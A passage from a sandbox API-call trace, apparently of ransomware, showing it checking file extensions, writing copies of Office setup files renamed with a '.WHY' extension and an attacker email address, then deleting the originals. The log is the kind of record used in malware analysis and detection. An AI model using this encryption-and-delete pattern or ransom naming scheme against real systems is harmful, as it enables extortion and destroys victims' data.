lpString2=".XML") returned -1 [0080.615] lstrlenW (lpString=".xlsx") returned 5 [0080.616] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0080.616] lstrlenW (lpString=".ppt") returned 4 [0080.616] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.616] lstrlenW (lpString=".zip") returned 4 [0080.616] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.616] lstrlenW (lpString=".rar") returned 4 [0080.616] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.616] lstrlenW (lpString=".bz2") returned 4 [0080.616] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.616] lstrlenW (lpString=".7z") returned 3 [0080.616] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.617] lstrlenW (lpString=".dbf") returned 4 [0080.617] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.617] lstrlenW (lpString=".1cd") returned 4 [0080.617] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.617] lstrlenW (lpString=".jpg") returned 4 [0080.617] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.617] lstrlenW (lpString=".doc") returned 4 [0080.618] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.618] lstrlenW (lpString=".docx") returned 5 [0080.618] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0080.618] lstrlenW (lpString=".pdf") returned 4 [0080.618] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.618] lstrlenW (lpString=".xls") returned 4 [0080.618] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.618] lstrlenW (lpString=".xlsx") returned 5 [0080.618] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0080.618] lstrlenW (lpString=".ppt") returned 4 [0080.618] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.618] lstrlenW (lpString=".zip") returned 4 [0080.618] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.619] lstrlenW (lpString=".rar") returned 4 [0080.619] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.619] lstrlenW (lpString=".bz2") returned 4 [0080.619] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.619] lstrlenW (lpString=".7z") returned 3 [0080.619] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.619] lstrlenW (lpString=".dbf") returned 4 [0080.619] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.619] lstrlenW (lpString=".1cd") returned 4 [0080.619] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0080.619] lstrlenW (lpString=".jpg") returned 4 [0080.619] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.621] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0080.621] lstrlenW (lpString="SETUP.XML") returned 9 [0080.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0080.623] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2296) returned 1 [0080.844] CloseHandle (hObject=0x1f4) returned 1 [0080.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0080.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0080.845] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.845] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.131] GetLastError () returned 0x0 [0081.131] ReadFile (in: hFile=0x1f4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0081.136] WriteFile (in: hFile=0x20c, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0081.139] ReadFile (in: hFile=0x1f4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.139] WriteFile (in: hFile=0x20c, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0081.139] SetEndOfFile (hFile=0x20c) returned 1 [0081.140] CloseHandle (hObject=0x20c) returned 1 [0081.141] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.141] SetEndOfFile (hFile=0x1f4) returned 1 [0081.143] CloseHandle (hObject=0x1f4) returned 1 [0081.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.144] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0081.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.144] lstrlenW (lpString=".doc") returned 4 [0081.144] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.145] lstrlenW (lpString=".docx") returned 5 [0081.145] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.145] lstrlenW (lpString=".pdf") returned 4 [0081.145] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.145] lstrlenW (lpString=".xls") returned 4 [0081.145] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.145] lstrlenW (lpString=".xlsx") returned 5 [0081.145] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.145] lstrlenW (lpString=".ppt") returned 4 [0081.145] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.145] lstrlenW (lpString=".zip") returned 4 [0081.145] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.146] lstrlenW (lpString=".rar") returned 4 [0081.146] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.146] lstrlenW (lpString=".bz2") returned 4 [0081.146] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.146] lstrlenW (lpString=".7z") returned 3 [0081.146] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.146] lstrlenW (lpString=".dbf") returned 4 [0081.146] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.146] lstrlenW (lpString=".1cd") returned 4 [0081.146] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.146] lstrlenW (lpString=".jpg") returned 4 [0081.147] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.147] lstrlenW (lpString=".doc") returned 4 [0081.147] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.147] lstrlenW (lpString=".docx") returned 5 [0081.147] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.147] lstrlenW (lpString=".pdf") returned 4 [0081.147] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.147] lstrlenW (lpString=".xls") returned 4 [0081.147] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.147] lstrlenW (lpString=".xlsx") returned 5 [0081.148] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.148] lstrlenW (lpString=".ppt") returned 4 [0081.148] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.148] lstrlenW (lpString=".zip") returned 4 [0081.148] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.148] lstrlenW (lpString=".rar") returned 4 [0081.148] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.148] lstrlenW (lpString=".bz2") returned 4 [0081.148] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.148] lstrlenW (lpString=".7z") returned 3 [0081.148] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.148] lstrlenW (lpString=".dbf") returned 4 [0081.149] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.149] lstrlenW (lpString=".1cd") returned 4 [0081.149] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0081.149] lstrlenW (lpString=".jpg") returned 4 [0081.149] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.408] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.409] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0081.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0081.410] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1231) returned 1 [0081.410] CloseHandle (hObject=0x1a0) returned 1 [0081.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0081.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0081.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0081.411] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.411] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0081.430] GetLastError () returned 0x0 [0081.430] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0081.471] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0081.474] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.474] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0081.474] SetEndOfFile (hFile=0x1cc) returned 1 [0081.475] CloseHandle (hObject=0x1cc) returned 1 [0081.475] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.476] SetEndOfFile (hFile=0x1a0) returned 1 [0081.478] CloseHandle (hObject=0x1a0) returned 1 [0081.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.479] lstrlenW (lpString=".doc") returned 4 [0081.479] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.480] lstrlenW (lpString=".docx") returned 5 [0081.480] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.480] lstrlenW (lpString=".pdf") returned 4 [0081.480] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.480] lstrlenW (lpString=".xls") returned 4 [0081.480] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.480] lstrlenW (lpString=".xlsx") returned 5 [0081.480] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.480] lstrlenW (lpString=".ppt") returned 4 [0081.480] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.480] lstrlenW (lpString=".zip") returned 4 [0081.480] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.480] lstrlenW (lpString=".rar") returned 4 [0081.480] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.481] lstrlenW (lpString=".bz2") returned 4 [0081.481] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.481] lstrlenW (lpString=".7z") returned 3 [0081.481] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.481] lstrlenW (lpString=".dbf") returned 4 [0081.481] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.481] lstrlenW (lpString=".1cd") returned 4 [0081.481] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.481] lstrlenW (lpString=".jpg") returned 4 [0081.482] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.482] lstrlenW (lpString=".doc") returned 4 [0081.482] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.482] lstrlenW (lpString=".docx") returned 5 [0081.482] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.482] lstrlenW (lpString=".pdf") returned 4 [0081.482] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.482] lstrlenW (lpString=".xls") returned 4 [0081.482] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.482] lstrlenW (lpString=".xlsx") returned 5 [0081.482] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.483] lstrlenW (lpString=".ppt") returned 4 [0081.483] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.483] lstrlenW (lpString=".zip") returned 4 [0081.483] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.483] lstrlenW (lpString=".rar") returned 4 [0081.483] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.483] lstrlenW (lpString=".bz2") returned 4 [0081.483] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.483] lstrlenW (lpString=".7z") returned 3 [0081.483] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.483] lstrlenW (lpString=".dbf") returned 4 [0081.483] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.484] lstrlenW (lpString=".1cd") returned 4 [0081.484] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.484] lstrlenW (lpString=".jpg") returned 4 [0081.484] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.484] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.484] lstrlenW (lpString="BRANDING.XML") returned 12 [0081.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0081.499] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=596341) returned 1 [0081.499] CloseHandle (hObject=0x1a0) returned 1 [0081.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0081.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0081.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0081.500] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.500] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0081.501] GetLastError () returned 0x0 [0081.501] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x91975, lpOverlapped=0x0) returned 1 [0081.806] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0082.361] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.361] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0082.361] SetEndOfFile 